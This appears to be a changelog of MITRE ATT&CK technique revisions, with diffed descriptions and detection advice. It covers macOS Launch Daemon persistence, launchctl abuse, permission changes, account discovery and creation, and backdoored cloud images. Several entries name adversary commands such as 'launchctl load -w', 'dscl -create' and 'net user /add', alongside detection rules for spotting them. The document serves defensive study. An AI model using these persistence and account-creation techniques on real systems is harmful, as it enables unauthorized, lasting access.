| > | loads the parameters for each launch-on-demand system-level | > | ted privileges to install, are executed for every user on a | ||
| > | daemon from the property list (plist) files found in <code>/ | > | system prior to login, and run in the background without the | ||
| > | System/Library/LaunchDaemons</code> and <code>/Library/Launc | > | need for user interaction. During the macOS initialization | ||
| > | hDaemons</code> (Citation: AppleDocs Launch Agent Daemons). | > | startup, the launchd process loads the parameters for launch | ||
| > | These LaunchDaemons have property list files which point to | > | -on-demand system-level daemons from plist files found in <c | ||
| > | the executables that will be launched (Citation: Methods of | > | ode>/System/Library/LaunchDaemons/</code> and <code>/Library | ||
| > | Mac Malware Persistence). Adversaries may install a new la | > | /LaunchDaemons/</code>. Required Launch Daemons parameters i | ||
| > | unch daemon that can be configured to execute at startup by | > | nclude a <code>Label</code> to identify the task, <code>Prog | ||
| > | using launchd or launchctl to load a plist into the appropri | > | ram</code> to provide a path to the executable, and <code>Ru | ||
| > | ate directories (Citation: OSX Malware Detection). The daem | > | nAtLoad</code> to specify when the task is run. Launch Daemo | ||
| > | on name may be disguised by using a name from a related oper | > | ns are often used to provide access to shared resources, upd | ||
| > | ating system or benign software (Citation: WireLurker). Laun | > | ates to software, or conduct automation tasks.(Citation: App | ||
| > | ch Daemons may be created with administrator privileges, but | > | leDocs Launch Agent Daemons)(Citation: Methods of Mac Malwar | ||
| > | are executed under root privileges, so an adversary may als | > | e Persistence)(Citation: launchd Keywords for plists) Adver | ||
| > | o use a service to escalate privileges from administrator to | > | saries may install a Launch Daemon configured to execute at | ||
| > | root. The plist file permissions must be root:wheel, but | > | startup by using the <code>RunAtLoad</code> parameter set to | ||
| > | the script or program that it points to has no such requirem | > | <code>true</code> and the <code>Program</code> parameter se | ||
| > | ent. So, it is possible for poor configurations to allow an | > | t to the malicious executable path. The daemon name may be d | ||
| > | adversary to modify a current Launch Daemon’s executable and | > | isguised by using a name from a related operating system or | ||
| > | gain persistence or Privilege Escalation. | > | benign software (i.e. [Masquerading](https://attack.mitre.or | ||
| > | g/techniques/T1036)). When the Launch Daemon is executed, th | ||||
| > | e program inherits administrative permissions.(Citation: Wir | ||||
| > | eLurker)(Citation: OSX Malware Detection) Additionally, sys | ||||
| > | tem configuration changes (such as the installation of third | ||||
| > | party package managing software) may cause folders such as | ||||
| > | <code>usr/local/bin</code> to become globally writeable. So, | ||||
| > | it is possible for poor configurations to allow an adversar | ||||
| > | y to modify executables referenced by current Launch Daemon' | ||||
| > | s plist files.(Citation: LaunchDaemon Hijacking)(Citation: s | ||||
| > | entinelone macos persist Jun 2019) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:46:44.130000+00:00 | 2021-10-07 22:10:55.653000+00:00 |
| description | Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. | Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)
Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019) |
| external_references[5]['source_name'] | OSX Malware Detection | launchd Keywords for plists |
| external_references[5]['description'] | Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. | Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021. |
| external_references[5]['url'] | https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf | https://www.real-world-systems.com/docs/launchdPlist.1.html |
| x_mitre_detection | Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. | Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.
Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)
|
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OSX Malware Detection', 'description': "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'} | |
| external_references | {'source_name': 'LaunchDaemon Hijacking', 'description': 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.', 'url': 'https://bradleyjkemp.dev/post/launchdaemon-hijacking/'} | |
| external_references | {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'} | |
| x_mitre_effective_permissions | Administrator |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse launchctl to execute commands or progr | t | 1 | Adversaries may abuse launchctl to execute commands or progr |
| > | ams. Launchctl controls the macOS launchd process, which han | > | ams. Launchctl interfaces with launchd, the service manageme | ||
| > | dles things like [Launch Agent](https://attack.mitre.org/tec | > | nt framework for macOS. Launchctl supports taking subcommand | ||
| > | hniques/T1543/001)s and [Launch Daemon](https://attack.mitre | > | s on the command-line, interactively, or even redirected fro | ||
| > | .org/techniques/T1543/004)s, but can execute other commands | > | m standard input.(Citation: Launchctl Man) Adversaries use | ||
| > | or programs itself. Launchctl supports taking subcommands on | > | launchctl to execute commands and programs as [Launch Agent] | ||
| > | the command-line, interactively, or even redirected from st | > | (https://attack.mitre.org/techniques/T1543/001)s or [Launch | ||
| > | andard input.(Citation: Launchctl Man) By loading or reload | > | Daemon](https://attack.mitre.org/techniques/T1543/004)s. Com | ||
| > | ing [Launch Agent](https://attack.mitre.org/techniques/T1543 | > | mon subcommands include: <code>launchctl load</code>,<code>l | ||
| > | /001)s or [Launch Daemon](https://attack.mitre.org/technique | > | aunchctl unload</code>, and <code>launchctl start</code>. Ad | ||
| > | s/T1543/004)s, adversaries can install persistence or execut | > | versaries can use scripts or manually run the commands <code | ||
| > | e changes they made.(Citation: Sofacy Komplex Trojan) Runni | > | >launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <c | ||
| > | ng a command from launchctl is as simple as <code>launchctl | > | ode>/bin/launchctl load</code> to execute [Launch Agent](htt | ||
| > | submit -l <labelName> -- /Path/to/thing/to/execute "arg" "ar | > | ps://attack.mitre.org/techniques/T1543/001)s or [Launch Daem | ||
| > | g" "arg"</code>. Adversaries can abuse this functionality to | > | on](https://attack.mitre.org/techniques/T1543/004)s.(Citatio | ||
| > | execute code or even bypass application control if launchct | > | n: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools an | ||
| > | l is an allowed process. | > | d Techniques) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:28:29.079000+00:00 | 2021-10-15 18:40:23.141000+00:00 |
| description | Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)
Running a command from launchctl is as simple as launchctl submit -l . Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process. | Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w "%s/Library/LaunchAgents/%s" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
|
| x_mitre_detection | KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes. | Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders.
Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious.
When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 17:53:29.106000+00:00 | 2021-10-17 16:28:41.565000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001). | If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Most | > | n perform which actions (read, write, execute, etc.). Most | ||
| > | Linux and Linux-based platforms provide a standard set of pe | > | Linux and Linux-based platforms provide a standard set of pe | ||
| > | rmission groups (user, group, and other) and a standard set | > | rmission groups (user, group, and other) and a standard set | ||
| > | of permissions (read, write, and execute) that are applied t | > | of permissions (read, write, and execute) that are applied t | ||
| > | o each group. While nuances of each platform’s permissions i | > | o each group. While nuances of each platform’s permissions i | ||
| > | mplementation may vary, most of the platforms provide two pr | > | mplementation may vary, most of the platforms provide two pr | ||
| > | imary commands used to manipulate file and directory ACLs: < | > | imary commands used to manipulate file and directory ACLs: < | ||
| > | code>chown</code> (short for change owner), and <code>chmod< | > | code>chown</code> (short for change owner), and <code>chmod< | ||
| > | /code> (short for change mode). Adversarial may use these c | > | /code> (short for change mode). Adversarial may use these c | ||
| > | ommands to make themselves the owner of files and directorie | > | ommands to make themselves the owner of files and directorie | ||
| > | s or change the mode if current permissions allow it. They c | > | s or change the mode if current permissions allow it. They c | ||
| > | ould subsequently lock others out of the file. Specific file | > | ould subsequently lock others out of the file. Specific file | ||
| > | and directory modifications may be a required step for many | > | and directory modifications may be a required step for many | ||
| > | techniques, such as establishing Persistence via [Unix Shel | > | techniques, such as establishing Persistence via [Unix Shel | ||
| > | l Configuration Modification](https://attack.mitre.org/techn | > | l Configuration Modification](https://attack.mitre.org/techn | ||
| > | iques/T1546/004) or tainting/hijacking other instrumental bi | > | iques/T1546/004) or tainting/hijacking other instrumental bi | ||
| > | nary/configuration files via [Hijack Execution Flow](https:/ | > | nary/configuration files via [Hijack Execution Flow](https:/ | ||
| > | /attack.mitre.org/techniques/T1574). | > | /attack.mitre.org/techniques/T1574).(Citation: 20 macOS Comm | ||
| > | on Tools and Techniques) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:12:40.041000+00:00 | 2021-09-13 21:08:09.985000+00:00 |
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) |
| x_mitre_detection | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques)
Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of local system acc | t | 1 | Adversaries may attempt to get a listing of local system acc |
| > | ounts. This information can help adversaries determine which | > | ounts. This information can help adversaries determine which | ||
| > | local accounts exist on a system to aid in follow-on behavi | > | local accounts exist on a system to aid in follow-on behavi | ||
| > | or. Commands such as <code>net user</code> and <code>net lo | > | or. Commands such as <code>net user</code> and <code>net lo | ||
| > | calgroup</code> of the [Net](https://attack.mitre.org/softwa | > | calgroup</code> of the [Net](https://attack.mitre.org/softwa | ||
| > | re/S0039) utility and <code>id</code> and <code>groups</code | > | re/S0039) utility and <code>id</code> and <code>groups</code | ||
| > | >on macOS and Linux can list local users and groups. On Linu | > | >on macOS and Linux can list local users and groups. On Linu | ||
| > | x, local users can also be enumerated through the use of the | > | x, local users can also be enumerated through the use of the | ||
| > | <code>/etc/passwd</code> file. | > | <code>/etc/passwd</code> file. On macOS the <code>dscl . li | ||
| > | st /Users</code> command can be used to enumerate local acco | ||||
| > | unts. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 21:39:08.728000+00:00 | 2021-07-28 18:05:24.567000+00:00 |
| description | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. With a suff | > | or administration on a single system or service. With a suff | ||
| > | icient level of access, the <code>net user /add</code> comma | > | icient level of access, the <code>net user /add</code> comma | ||
| > | nd can be used to create a local account. Such accounts may | > | nd can be used to create a local account. On macOS systems t | ||
| > | be used to establish secondary credentialed access that do | > | he <code>dscl -create</code> command can be used to create a | ||
| > | not require persistent remote access tools to be deployed on | > | local account. Such accounts may be used to establish seco | ||
| > | the system. | > | ndary credentialed access that do not require persistent rem | ||
| > | ote access tools to be deployed on the system. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 18:04:20.780000+00:00 | 2021-08-12 13:04:14.248000+00:00 |
| description | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. |
| x_mitre_detection | Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. | Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-05 12:51:00.663000+00:00 | 2021-10-18 17:45:48.323000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Logon Session: Logon Session Metadata |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-05 22:25:48.777000+00:00 | 2021-10-15 23:57:07.973000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | @ionstorm |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:55:56.177000+00:00 | 2021-07-21 23:10:47.193000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rely on a user running a malicious image to | t | 1 | Adversaries may rely on a user running a malicious image to |
| > | facilitate execution. Amazon Web Services (AWS) Amazon Machi | > | facilitate execution. Amazon Web Services (AWS) Amazon Machi | ||
| > | ne Images (AMIs), Google Cloud Platform (GCP) Images, and Az | > | ne Images (AMIs), Google Cloud Platform (GCP) Images, and Az | ||
| > | ure Images as well as popular container runtimes such as Doc | > | ure Images as well as popular container runtimes such as Doc | ||
| > | ker can be backdoored. Backdoored images may be uploaded to | > | ker can be backdoored. Backdoored images may be uploaded to | ||
| > | a public repository via [Upload Malware](https://attack.mitr | > | a public repository via [Upload Malware](https://attack.mitr | ||
| > | e.org/techniques/T1608/001), and users may then download and | > | e.org/techniques/T1608/001), and users may then download and | ||
| > | deploy an instance or container from the image without real | > | deploy an instance or container from the image without real | ||
| > | izing the image is malicious, thus bypassing techniques that | > | izing the image is malicious, thus bypassing techniques that | ||
| > | specifically achieve Initial Access. This can lead to the e | > | specifically achieve Initial Access. This can lead to the e | ||
| > | xecution of malicious code, such as code that executes crypt | > | xecution of malicious code, such as code that executes crypt | ||
| > | ocurrency mining, in the instance or container.(Citation: Su | > | ocurrency mining, in the instance or container.(Citation: Su | ||
| > | mmit Route Malicious AMIs) Adversaries may also name images | > | mmit Route Malicious AMIs) Adversaries may also name images | ||
| > | a certain way to increase the chance of users mistakenly de | > | a certain way to increase the chance of users mistakenly de | ||
| > | ploying an instance or container from the image (ex: [Match | > | ploying an instance or container from the image (ex: [Match | ||
| > | Legitimate Name or Location](https://attack.mitre.org/techni | > | Legitimate Name or Location](https://attack.mitre.org/techni | ||
| > | ques/T1036/005)). | > | ques/T1036/005)).(Citation: Aqua Security Cloud Native Threa | ||
| > | t Report June 2021) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 17:54:08.797000+00:00 | 2021-08-26 16:42:35.318000+00:00 |
| description | Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)). | Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Aqua Security Cloud Native Threat Report June 2021', 'description': 'Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.', 'url': 'https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:08:33.165000+00:00 | 2021-10-17 16:05:41.186000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:14:41.582000+00:00 | 2021-10-17 16:15:52.805000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
